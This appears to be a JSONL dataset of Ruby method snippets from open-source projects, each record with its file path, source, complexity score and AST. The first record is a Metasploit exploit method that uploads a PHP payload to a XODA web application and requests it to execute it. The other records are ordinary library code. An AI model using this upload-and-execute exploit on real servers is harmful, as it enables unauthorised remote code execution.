{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/xoda_file_upload.rb","start_line":97,"raw_source":"def exploit\n    uri = normalize_uri(target_uri.path)\n    uri << '/' if uri[-1, 1] != '/'\n\n    peer = \"#{rhost}:#{rport}\"\n    @payload_name = Rex::Text.rand_text_alpha(rand(10) + 5) + '.php'\n\n    boundary = \"---------------------------#{Rex::Text.rand_text_numeric(27)}\"\n\n    post_data = \"--#{boundary}\\r\\n\"\n    post_data << \"Content-Disposition: form-data; name=\\\"files_to_upload[]\\\"; filename=\\\"#{@payload_name}\\\"\\r\\n\\r\\n\"\n    post_data << \"<?php \"\n    post_data << payload.encoded\n    post_data << \" ?>\\r\\n\"\n    post_data << \"--#{boundary}\\r\\n\"\n    post_data << \"Content-Disposition: form-data; name=\\\"pwd\\\"\\r\\n\\r\\n\"\n    post_data << \"\\r\\n\"\n    post_data << \"--#{boundary}--\\r\\n\"\n\n    print_status(\"Sending PHP payload (#{@payload_name})\")\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => \"#{uri}?upload\",\n      'ctype' => \"multipart/form-data; boundary=#{boundary}\",\n      'data' => post_data\n    })\n\n    if not res or res.code != 302\n      print_error(\"File wasn't uploaded, aborting!\")\n      return\n    end\n\n    print_status(\"Executing PHP payload (#{@payload_name})\")\n\n    # Execute our payload\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => \"#{uri}files/#{@payload_name}\"\n    })\n\n    # If we don't get a 200 when we request our malicious payload, we suspect\n    # we don't have a shell, either.  Print the status code for debugging purposes.\n    if res and res.code != 200\n      print_status(\"Server returned #{res.code.to_s}\")\n    end\n  end","complexity_score":54.85,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[1]}]},\"!=\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"<<\",{\"type\":\"str\",\"children\":[\"/\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"peer\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@payload_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[10]}]},\"+\",{\"type\":\"int\",\"children\":[5]}]}]},\"+\",{\"type\":\"str\",\"children\":[\".php\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"boundary\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"---------------------------\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_numeric\",{\"type\":\"int\",\"children\":[27]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post_data\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"boundary\"]}]},{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Disposition: form-data; name=\\\"files_to_upload[]\\\"; filename=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@payload_name\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\\r\\n\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<?php \"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"<<\",{\"type\":\"str\",\"children\":[\" ?>\\r\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"boundary\"]}]},{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Content-Disposition: form-data; name=\\\"pwd\\\"\\r\\n\\r\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"boundary\"]}]},{\"type\":\"str\",\"children\":[\"--\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending PHP payload (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@payload_name\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"str\",\"children\":[\"?upload\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart/form-data; boundary=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"boundary\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"post_data\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[302]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"File wasn't uploaded, aborting!\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing PHP payload (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@payload_name\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"str\",\"children\":[\"files/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@payload_name\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Server returned \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"to_s\"]}]}]}]},null]}]}]}","id":"d9280fb9-123d-43ca-9af2-16e0e0d68fd7"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/storage.rb","start_line":266,"raw_source":"def delete(key)\n          @monitor.synchronize do\n            @storage.load\n            val = @storage.delete(key)\n            @storage.save\n            val\n          end\n        end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"delete\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@monitor\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@storage\"]},\"load\"]},{\"type\":\"lvasgn\",\"children\":[\"val\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@storage\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@storage\"]},\"save\"]},{\"type\":\"lvar\",\"children\":[\"val\"]}]}]}]}","id":"d9ec76b9-df32-40a6-8ca3-3d84e30b7ae5"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/naming/inclusive_language.rb","start_line":202,"raw_source":"def array_to_ignorecase_regex(strings)\n          Regexp.new(strings.join('|'), Regexp::IGNORECASE)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"array_to_ignorecase_regex\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"strings\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"strings\"]},\"join\",{\"type\":\"str\",\"children\":[\"|\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"IGNORECASE\"]}]}]}","id":"75cdb4aa-776b-4e52-adeb-c5319acc0544"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-gamification/lib/discourse_gamification/leaderboard_cached_view.rb","start_line":27,"raw_source":"def create\n      periods.each { |period| create_mview(period) }\n    end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"periods\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"period\"]}]},{\"type\":\"send\",\"children\":[null,\"create_mview\",{\"type\":\"lvar\",\"children\":[\"period\"]}]}]}]}","id":"e43781bf-a8e5-4e0d-97be-5f7c6ac6b6f0"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/status.rb","start_line":324,"raw_source":"def increment_count!(key)\n    if key == :favourites_count && !untrusted_favourites_count.nil?\n      update_status_stat!(favourites_count: favourites_count + 1, untrusted_favourites_count: untrusted_favourites_count + 1)\n    elsif key == :reblogs_count && !untrusted_reblogs_count.nil?\n      update_status_stat!(reblogs_count: reblogs_count + 1, untrusted_reblogs_count: untrusted_reblogs_count + 1)\n    else\n      update_status_stat!(key => public_send(key) + 1)\n    end\n  end","complexity_score":34.65,"ast_json":"{\"type\":\"def\",\"children\":[\"increment_count!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"==\",{\"type\":\"sym\",\"children\":[\"favourites_count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"untrusted_favourites_count\"]},\"nil?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"update_status_stat!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"favourites_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"favourites_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"untrusted_favourites_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"untrusted_favourites_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"==\",{\"type\":\"sym\",\"children\":[\"reblogs_count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"untrusted_reblogs_count\"]},\"nil?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"update_status_stat!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reblogs_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reblogs_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"untrusted_reblogs_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"untrusted_reblogs_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"update_status_stat!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"public_send\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}]}","id":"cadf1c69-fb41-42b0-bc4b-fab9648c4ec3"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/signal_exception.rb","start_line":155,"raw_source":"def message(method_name)\n          case style\n          when :semantic\n            method_name == :fail ? RAISE_MSG : FAIL_MSG\n          when :only_raise\n            'Always use `raise` to signal exceptions.'\n          when :only_fail\n            'Always use `fail` to signal exceptions.'\n          end\n        end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method_name\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"style\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"semantic\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method_name\"]},\"==\",{\"type\":\"sym\",\"children\":[\"fail\"]}]},{\"type\":\"const\",\"children\":[null,\"RAISE_MSG\"]},{\"type\":\"const\",\"children\":[null,\"FAIL_MSG\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"only_raise\"]},{\"type\":\"str\",\"children\":[\"Always use `raise` to signal exceptions.\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"only_fail\"]},{\"type\":\"str\",\"children\":[\"Always use `fail` to signal exceptions.\"]}]},null]}]}","id":"bfdcfcfd-a7de-4406-ae1e-29c5a727285b"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/controllers/enterprise/webhooks/firecrawl_controller.rb","start_line":18,"raw_source":"def validate_token\n    render json: { error: 'Invalid access_token' }, status: :unauthorized if assistant_token != permitted_params[:token]\n  end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assistant_token\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"token\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"str\",\"children\":[\"Invalid access_token\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unauthorized\"]}]}]}]},null]}]}","id":"218aed89-6ff7-48b7-96d3-2bd71d0f71c5"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/web/helpers.rb","start_line":364,"raw_source":"def format_memory(rss_kb)\n      return \"0\" if rss_kb.nil? || rss_kb == 0\n\n      if rss_kb < 100_000\n        \"#{number_with_delimiter(rss_kb)} KB\"\n      elsif rss_kb < 10_000_000\n        \"#{number_with_delimiter((rss_kb / 1024.0).to_i)} MB\"\n      else\n        \"#{number_with_delimiter(rss_kb / (1024.0 * 1024.0), precision: 1)} GB\"\n      end\n    end","complexity_score":20.23,"ast_json":"{\"type\":\"def\",\"children\":[\"format_memory\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rss_kb\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rss_kb\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rss_kb\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"0\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rss_kb\"]},\"<\",{\"type\":\"int\",\"children\":[100000]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"number_with_delimiter\",{\"type\":\"lvar\",\"children\":[\"rss_kb\"]}]}]},{\"type\":\"str\",\"children\":[\" KB\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rss_kb\"]},\"<\",{\"type\":\"int\",\"children\":[10000000]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"number_with_delimiter\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rss_kb\"]},\"/\",{\"type\":\"float\",\"children\":[1024.0]}]}]},\"to_i\"]}]}]},{\"type\":\"str\",\"children\":[\" MB\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"number_with_delimiter\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rss_kb\"]},\"/\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"float\",\"children\":[1024.0]},\"*\",{\"type\":\"float\",\"children\":[1024.0]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"str\",\"children\":[\" GB\"]}]}]}]}]}]}","id":"c9a53f9d-adbe-414c-87e7-0b1127d6c600"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/ml_model/create_package_file_service.rb","start_line":6,"raw_source":"def execute\n        @package = params[:package]\n\n        return unless @package\n\n        ::Packages::Package.transaction do\n          update_package\n          create_package_file\n        end\n      end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@package\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"package\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@package\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Package\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_package\"]},{\"type\":\"send\",\"children\":[null,\"create_package_file\"]}]}]}]}]}","id":"30614fdf-b7cd-4855-9fe1-879f83075c91"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/debian/process_package_file_service.rb","start_line":92,"raw_source":"def package\n        packages = ::Packages::Debian::Package.for_projects(temp_package.project)\n                                            .existing_packages_with(name: package_name, version: package_version)\n        package = packages.with_codename_or_suite(package_distribution)\n                          .first\n\n        unless package\n          package_in_other_distribution = packages.first\n\n          if package_in_other_distribution\n            raise ArgumentError, \"Debian package #{package_name} #{package_version} exists \" \\\n                                 \"in distribution #{package_in_other_distribution.distribution.codename}\"\n          end\n        end\n\n        package || temp_package\n      end","complexity_score":27.4,"ast_json":"{\"type\":\"def\",\"children\":[\"package\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"packages\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Debian\"]},\"Package\"]},\"for_projects\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"temp_package\"]},\"project\"]}]},\"existing_packages_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"package_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"send\",\"children\":[null,\"package_version\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"package\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packages\"]},\"with_codename_or_suite\",{\"type\":\"send\",\"children\":[null,\"package_distribution\"]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"package_in_other_distribution\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packages\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package_in_other_distribution\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Debian package \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"package_name\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"package_version\"]}]},{\"type\":\"str\",\"children\":[\" exists \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"in distribution \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package_in_other_distribution\"]},\"distribution\"]},\"codename\"]}]}]}]}]},null]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package\"]},{\"type\":\"send\",\"children\":[null,\"temp_package\"]}]}]}]}","id":"328468eb-3541-49c4-8501-aa71ae200ae3"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/channel_generator_test.rb","start_line":178,"raw_source":"def use_under_node\n      FileUtils.touch(\"#{destination_root}/package.json\")\n      FileUtils.rm_rf(\"#{destination_root}/config/importmap.rb\")\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"use_under_node\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"touch\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination_root\"]}]},{\"type\":\"str\",\"children\":[\"/package.json\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"rm_rf\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination_root\"]}]},{\"type\":\"str\",\"children\":[\"/config/importmap.rb\"]}]}]}]}]}","id":"0df1aaf3-f87c-476c-ac6b-8d84a1e53184"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/oneboxer.rb","start_line":416,"raw_source":"def self.local_user_html(url, route)\n    username = route[:username] || \"\"\n\n    if user = User.find_by(username_lower: username.downcase)\n      name = user.name if SiteSetting.enable_names\n\n      args = {\n        user_id: user.id,\n        username: user.username,\n        avatar: PrettyText.avatar_img(user.avatar_template, \"huge\"),\n        name: name,\n        bio: user.user_profile.bio_excerpt(230),\n        location: Onebox::Helpers.sanitize(user.user_profile.location),\n        joined:\n          I18n.t(\n            \"onebox.discourse.user_joined_community\",\n            date: user.created_at.strftime(I18n.t(\"datetime_formats.formats.date_only\")),\n          ),\n        website: user.user_profile.website,\n        website_name: UserSerializer.new(user).website_name,\n        original_url: url,\n      }\n\n      Mustache.render(template(\"discourse_user_onebox\"), args)\n    else\n      nil\n    end\n  end","complexity_score":39.25,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"local_user_html\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]},{\"type\":\"arg\",\"children\":[\"route\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"username\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"route\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username_lower\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},\"downcase\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"enable_names\"]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"name\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"avatar\"]},{\"type\"